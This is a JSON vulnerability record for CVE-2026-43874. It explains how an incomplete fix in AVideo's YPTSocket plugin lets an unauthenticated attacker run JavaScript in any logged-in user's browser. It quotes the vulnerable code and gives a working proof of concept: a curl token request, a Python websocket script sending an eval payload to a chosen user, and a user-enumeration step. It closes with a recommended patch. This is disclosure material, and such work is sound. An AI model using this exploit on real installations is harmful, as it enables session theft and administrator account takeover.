{"id":"CVE-2026-43874","aliases":["GHSA-ghcv-22jf-vfxm"],"url":"https://o3.security/vulnerability/CVE-2026-43874","summary":"WWBN AVideo: Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass","details":"## Summary\n\nThe server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json['msg']`, but the relay function `msgToResourceId()` selects the outbound message from `$msg['json']` *before* `$msg['msg']`. An unauthenticated attacker can obtain a WebSocket token from `plugin/YPTSocket/getWebSocket.json.php`, connect to the WebSocket server, and send a message with `autoEvalCodeOnHTML` nested under a top-level `json` field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by `to_users_id`, and the client script runs it through `eval()`.\n\n## Details\n\n### Entry point (unauthenticated)\n\n`plugin/YPTSocket/getWebSocket.json.php` (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:\n\n```php\n$obj->webSocketToken = getEncryptedInfo(0);\n$obj->webSocketURL = YPTSocket::getWebSocketURL();\ndie(json_encode($obj));\n```\n\n`getEncryptedInfo()` defaults to `sentFrom = 'browser'` and a non-CLI flag (`plugin/YPTSocket/functions.php:3-47`), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.\n\n### Incomplete strip (the fix from commit c08694bf6)\n\n`plugin/YPTSocket/Message.php:236-247`:\n\n```php\n// Strip eval-able fields from browser/guest messages.\nif (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {\n    if (is_array($json['msg'] ?? null)) {\n        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']\n    }\n    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n        unset($json['callback']);\n    }\n}\n```\n\nIf the incoming `$json['msg']` is a scalar (e.g. the string `\"x\"`), `is_array(...)` is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in `$json` passes through untouched. The same flawed check exists in `plugin/YPTSocket/MessageSQLiteV2.php:285-293`.\n\n### Relay preference picks the untouched field\n\n`plugin/YPTSocket/Message.php:316-322` (and the mirror at `MessageSQLiteV2.php:396-402`):\n\n```php\nif (!empty($msg['json'])) {\n    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped\n} else if (!empty($msg['msg'])) {\n    $obj['msg'] = $msg['msg'];\n} else {\n    $obj['msg'] = $msg;\n}\n```\n\nAn attacker payload shaped as `{\"msg\": \"x\", \"json\": {\"autoEvalCodeOnHTML\": \"<js>\"}, \"to_users_id\": <victim>}` therefore:\n\n1. Passes `switch ($json->msg)` into the `default` case (Message.php:211, 228).\n2. `msgToArray($json)` converts to array. The strip branch enters because `sentFrom === 'browser'`, but `is_array(\"x\")` is false and the strip is skipped.\n3. Routing lands on `msgToUsers_id($json, $json['to_users_id'])` (Message.php:253), which for each matching resource calls `msgToResourceId($msg, $resourceId)` (Message.php:379).\n4. In `msgToResourceId`, `!empty($msg['json'])` is true, so `$obj['msg']` becomes `{\"autoEvalCodeOnHTML\": \"<js>\"}` (Message.php:316-317).\n5. The `shouldPropagateInfo()` check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.\n\n### Client-side sink\n\n`plugin/YPTSocket/script.js:573-575`:\n\n```js\nif (json.msg?.autoEvalCodeOnHTML !== undefined) {\n    eval(json.msg.autoEvalCodeOnHTML);\n}\n```\n\nAny logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.\n\n### Routing to any user\n\n`msgToUsers_id()` (Message.php:362-389) looks up `to_users_id` against `$this->clientsUsersId` and relays to every resource belonging to that user. Because `to_users_id` comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing `getClientsList` request handled at Message.php:219-224 using the same unauthenticated token.\n\n## PoC\n\nStep 1 — mint an unauthenticated WebSocket token:\n\n```bash\ncurl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'\n# {\"error\":false,\"webSocketToken\":\"<TOKEN>\",\"webSocketURL\":\"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0\", ...}\n```\n\nStep 2 — connect and send the crafted message:\n\n```python\nimport json, ssl, websocket\n\nTOKEN  = '<TOKEN>'          # from step 1\nURL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'\nVICTIM = 2                  # any logged-in users_id with an open tab\n\nws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})\npayload = {\n    'msg': 'x',                                                  # scalar -> strip branch skipped\n    'webSocketToken': TOKEN,\n    'json': {'autoEvalCodeOnHTML': \"alert('XSS in '+document.domain)\"},\n    'to_users_id': VICTIM,\n}\nws.send(json.dumps(payload))\nws.close()\n```\n\nExpected result: the victim's tab receives `{\"type\":\"DEFAULT_MESSAGE\",\"msg\":{\"autoEvalCodeOnHTML\":\"alert(...)\"}, ...}` and executes the JavaScript via `eval()`.\n\nOptional Step 0 — enumerate active users (using the same token):\n\n```python\nws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))\n# response lists active users_id values\n```\n\n## Impact\n\n- **Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session.** The victim only needs a tab open on the site — no click, no link, no CSRF.\n- **Same-origin compromise:** the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.\n- **Privilege escalation when an admin is targeted:** arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.\n- **Mass exploitation feasible:** `getClientsList` (also reachable with the anonymous token) enumerates active `users_id` values, and the attacker can iterate `to_users_id` across all of them.\n- This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit `c08694bf6` remain exploitable.\n\n## Recommended Fix\n\nScrub `autoEvalCodeOnHTML` from **every** outbound carrier the relay may choose, not only from `$json['msg']`. Patch both `plugin/YPTSocket/Message.php` and `plugin/YPTSocket/MessageSQLiteV2.php`. For example, replace the current strip in `onMessage()`:\n\n```php\nif (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {\n    foreach (['msg', 'json'] as $k) {\n        if (is_array($json[$k] ?? null)) {\n            unset($json[$k]['autoEvalCodeOnHTML']);\n        }\n    }\n    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe\n    if (isset($json['autoEvalCodeOnHTML'])) {\n        unset($json['autoEvalCodeOnHTML']);\n    }\n    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n        unset($json['callback']);\n    }\n}\n```\n\nAdditionally, harden the relay itself in `msgToResourceId()` (both files) so future regressions cannot reintroduce the sink — walk the chosen `$obj['msg']` recursively and unset `autoEvalCodeOnHTML` whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side `eval(json.msg.autoEvalCodeOnHTML)` at `plugin/YPTSocket/script.js:573-575` behind a server-signed field rather than a plain JSON key.","published":"2026-05-11T20:29:59.468Z","modified":"2026-08-12T03:51:28.198854042Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},"epss":{"score":0.00252,"percentile":0.16327,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce","label":"WWBN/AVideo@9f3006f"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43874.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43874"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gph2-j4c9-vhhr"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.198854042Z"}}